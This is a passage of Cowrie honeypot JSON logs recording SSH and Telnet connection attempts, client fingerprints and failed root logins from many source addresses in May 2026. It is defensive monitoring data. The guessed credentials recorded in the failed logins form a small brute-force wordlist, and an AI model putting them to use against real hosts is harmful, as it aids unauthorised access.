@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:39.379365Z","src_ip":"62.133.62.83","session":"4ccc98937aca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mercury","message":"login attempt [root/mercury] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:39.627238Z","src_ip":"62.133.62.83","session":"4ccc98937aca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:40.712457Z","src_ip":"62.133.62.83","session":"4ccc98937aca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:07:04.033401Z","src_ip":"89.223.69.22","session":"26d6b4f2389c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":32846,"dst_ip":"159.203.135.109","dst_port":22,"session":"084632beefe8","protocol":"ssh","message":"New connection: 147.45.197.250:32846 (159.203.135.109:22) [session: 084632beefe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:07:31.737406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:07:31.742791Z","src_ip":"147.45.197.250","session":"084632beefe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:07:31.832597Z","src_ip":"147.45.197.250","session":"084632beefe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789987","message":"login attempt [root/789987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:07:32.100610Z","src_ip":"147.45.197.250","session":"084632beefe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:07:33.192491Z","src_ip":"147.45.197.250","session":"084632beefe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38562,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4eb70e4fba1","protocol":"telnet","message":"New connection: 192.119.13.58:38562 (10.17.0.5:23) [session: b4eb70e4fba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:08:00.686211Z"}
{"eventid":"cowrie.session.closed","duration":41.988527059555054,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:08:42.674621Z","src_ip":"192.119.13.58","session":"b4eb70e4fba1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.74.242.167","src_port":59348,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c48d7c06447","protocol":"telnet","message":"New connection: 112.74.242.167:59348 (10.17.0.5:23) [session: 4c48d7c06447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:01.702365Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56297,"dst_ip":"10.17.0.5","dst_port":22,"session":"216fef0d1bd8","protocol":"ssh","message":"New connection: 167.172.81.52:56297 (10.17.0.5:22) [session: 216fef0d1bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:11.167527Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:11.174931Z","src_ip":"167.172.81.52","session":"216fef0d1bd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:11.179832Z","src_ip":"167.172.81.52","session":"216fef0d1bd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":59452,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c2b0568150b","protocol":"ssh","message":"New connection: 80.94.92.186:59452 (159.203.135.109:22) [session: 2c2b0568150b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:30.102417Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":59216,"dst_ip":"10.17.0.5","dst_port":22,"session":"2966bca8625c","protocol":"ssh","message":"New connection: 103.15.222.183:59216 (10.17.0.5:22) [session: 2966bca8625c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:30.182816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:30.193168Z","src_ip":"103.15.222.183","session":"2966bca8625c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:30.241171Z","src_ip":"80.94.92.186","session":"2c2b0568150b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:30.245475Z","src_ip":"80.94.92.186","session":"2c2b0568150b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:30.444020Z","src_ip":"103.15.222.183","session":"2966bca8625c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t5y6u7i8","message":"login attempt [root/q1w2e3r4t5y6u7i8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:31.199382Z","src_ip":"103.15.222.183","session":"2966bca8625c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:31.402697Z","src_ip":"80.94.92.186","session":"2c2b0568150b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:32.523993Z","src_ip":"103.15.222.183","session":"2966bca8625c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:32.750795Z","src_ip":"80.94.92.186","session":"2c2b0568150b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.52779746055603,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:35.230010Z","src_ip":"112.74.242.167","session":"4c48d7c06447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":36080,"dst_ip":"159.203.135.109","dst_port":22,"session":"56da2b8fe0b5","protocol":"ssh","message":"New connection: 103.75.182.198:36080 (159.203.135.109:22) [session: 56da2b8fe0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:44.198234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:44.202550Z","src_ip":"103.75.182.198","session":"56da2b8fe0b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:44.469485Z","src_ip":"103.75.182.198","session":"56da2b8fe0b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hjvfysx","message":"login attempt [root/hjvfysx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:45.200068Z","src_ip":"103.75.182.198","session":"56da2b8fe0b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:46.447070Z","src_ip":"103.75.182.198","session":"56da2b8fe0b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":54584,"dst_ip":"159.203.135.109","dst_port":22,"session":"d80294019e9a","protocol":"ssh","message":"New connection: 62.133.63.178:54584 (159.203.135.109:22) [session: d80294019e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:47.246167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:47.251227Z","src_ip":"62.133.63.178","session":"d80294019e9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:47.371553Z","src_ip":"62.133.63.178","session":"d80294019e9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfcbjgtz1981","message":"login attempt [root/rfcbjgtz1981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:47.733703Z","src_ip":"62.133.63.178","session":"d80294019e9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:09:48.856627Z","src_ip":"62.133.63.178","session":"d80294019e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58995,"dst_ip":"10.17.0.5","dst_port":22,"session":"2536d39c274b","protocol":"ssh","message":"New connection: 152.42.212.128:58995 (10.17.0.5:22) [session: 2536d39c274b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:10:44.535219Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:10:44.540305Z","src_ip":"152.42.212.128","session":"2536d39c274b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:10:44.544221Z","src_ip":"152.42.212.128","session":"2536d39c274b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":36260,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbf4fc3fc911","protocol":"ssh","message":"New connection: 37.233.85.71:36260 (10.17.0.5:22) [session: bbf4fc3fc911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:11:37.939748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:11:37.944691Z","src_ip":"37.233.85.71","session":"bbf4fc3fc911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:11:38.045200Z","src_ip":"37.233.85.71","session":"bbf4fc3fc911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"delete","message":"login attempt [root/delete] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:11:38.349077Z","src_ip":"37.233.85.71","session":"bbf4fc3fc911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:11:39.452097Z","src_ip":"37.233.85.71","session":"bbf4fc3fc911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":59790,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfbed1d786ea","protocol":"ssh","message":"New connection: 193.228.128.84:59790 (159.203.135.109:22) [session: dfbed1d786ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:03.909744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:03.914408Z","src_ip":"193.228.128.84","session":"dfbed1d786ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:04.016675Z","src_ip":"193.228.128.84","session":"dfbed1d786ea","protocol":"ssh"}
